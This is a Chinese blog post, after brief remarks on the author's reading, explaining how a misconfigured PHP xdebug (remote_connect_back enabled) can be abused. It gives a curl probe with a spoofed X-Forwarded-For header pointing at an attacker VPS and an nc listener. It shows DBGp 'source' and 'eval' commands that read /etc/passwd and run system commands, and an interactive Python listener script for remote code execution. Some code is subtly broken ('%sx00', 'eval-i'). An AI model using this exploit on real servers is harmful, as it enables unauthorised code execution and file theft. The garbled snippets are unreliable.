本周的研究课题还没结束,先发一篇旧文
本文主要内容为xdebug的攻击点,还是挺有意思的。
对了,本周在读书目为《思考快与慢》,翻译不是特别接地气,读起来挺吃力,所以到现在还没读完,虽然我也没奢望一周读完它,毕竟1000多页呢
上周读完了一本雷军传,自认为写的没什么出彩的地方,也就没有写书评,就连读书笔记都少得可怜,下周的书目还没有定,不知道大家有没有什么推荐?
《思考快与慢》先放一放,有点难读,虽然内容确实不错
下面进入正题
原理简介
xdebug是调试php代码的工具,遵循DBGp协议。其工作原理大概如下(搬运):
- IDE(如phpstorm)已经集成了一个遵循DBGp的Xdebug插件,当开启它的时候,会在本地开一个xdebug调试服务,监听在调试所设置的端口上,默认是9000,这个服务会监听所有到9000端口的连接。在phpstorm中,位于:工具栏>run>Start / Stop Listening for PHP Xdebug Connetions
- 当浏览器发送一个带XDEBUG_SESSION_START的参数的请求到服务器时,服务器接手后将其转到后端的php处理,如果php开启了xdebug模块,则会将debug信息转发到客户端IP的IDE的调试端口上,不仅如此,我们还可以给服务端发送命令,执行一些操作,甚至是命令执行。
另外,xdebug不是伴随着php的,要使用它,需要我们自行安装,可费劲er了。当然我们可以直接到docker hub上找现成的环境。
安装完xdebug你以为就结束了吗,没有!
我们还需要对xdeubg进行配置,网上大多数的教程都是说在php.ini里配置,但是我使用的这个docker环境,xdebug是有一个单独的配置文件的
我就直接在这里面配置了(其实docker环境已经配置的差不多了,我只是按需修改了一下)
我的配置文件如下:
代码语言:javascript复制zend_extension=xdebug.so
xdebug.idekey="PHPSTORM"
xdebug.remote_enable=1
xdebug.remote_autostart=0
xdebug.remote_connect_back=1
xdebug.remote_port=9000
几个常见配置解释
设置调试工具
xdebug.idekey="PHPSTORM"
绑定远程调试主机地址
xdebug.remote_host=localhost
远程主机监听的端口
xdebug.remote_port=9000
开启回连
xdebug.remote_connect_back = 1
开启xdebug
xdebug.remote_enable = 1
经过上面的描述,你应该大概了解到其实php的调试是通过客户端、服务端经过DBGp协议通信来协调实现的
这也是为什么php支持远程调试的原因,既然可以远程通信,肯定是需要知道对方的地址的
而xdebug又有两种方式来确定ide的地址,一种是固定ip的方式,另一种就是非固定ip的方式
固定ip方式就是直接在配置xdeubg配置文件或者php.ini里写死IDE的公网地址,这样我们是不能利用的。配置里会有类似下面这两项:
代码语言:javascript复制xdebug.remote_host=localhost
xdebug.remote_port=9000
另一种方式就是自动回连到请求地址,配置会出现下面这一项:
xdebug.remote_connect_back = 1
而自动回连的ip地址是来自下面这几处:
- xdebug.remote_addr_header
- X-Forwarded-For
- Remote-Addr
我们知道xff头是可以控制的,所以就算配置了其他的两个,也没有关系,照样可以连接到我指定的ip地址上,这不就出大问题了吗
利用条件
xdebug.remote_connect_back = 1 //开启回连 并且此选项开启时,xdebug会忽略xdebug.remote_host
直接把客户端ip当作回连ip,也就是谁访问它,谁就是回连ip
xdebug.remote_enable = 1 //开启xdebug
xdebug.remote_log = /tmp/test.log
DBGp协议使用方法
source命令
source -i transaction_id -f fileURI
transactionid 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 openbasedir。
利用方式
source -i 1 -f file:///etc/passwd
还可以利用php://filter ssrf等
脚本里面要这样写
conn.sendall('source -i 1 -f %sx00' % data)
eval命令
用于执行PHP代码
eval -i transaction_id -- {DATA}
{DATA} 为 base64 过的 PHP 代码。利用方式(c3lzdGVtKCJpZCIpOw== == system("id");):
eval -i 1 -- c3lzdGVtKCJpZCIpOw==
脚本里面要这样写
conn.sendall('eval -i 1 -- %sx00' % data.encode('base64'))
还有一些其他协议可用,这里就不一一搬运了,2333333
攻击方式
前置知识差不多了,那么要如何利用呢,首先我们发送如下请求,探测目标是否开启了xdeubg并支持回连
curl http://localhost:8123/joomla346/index.php?XDEBUG_SESSION_START=123 -H "X-Forwarded-For:172.17.0.1"
其中xff在真实环境下应该设置为你的公网ip,你公网vps需要监听9000端口(默认是9000端口,目标服务器的xdebug也可能回连其他端口吧~)
nc -lvvp 9000
如果vps收到如下请求,则表示问题存在
然后我们可以写个交互式的利用脚本:
代码语言:javascript复制import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data =conn.recv(1024)
print(client_data)
data =raw_input('>> ')
conn.sendall('eval-i 1 -- %sx00' % data.encode('base64'))
上面这个脚本就是利用eval命令执行php代码,我们可以通过输入system(命令)
的方式执行系统命令
参考
https://blog.spoock.com/2017/09/19/xdebug-attack-surface/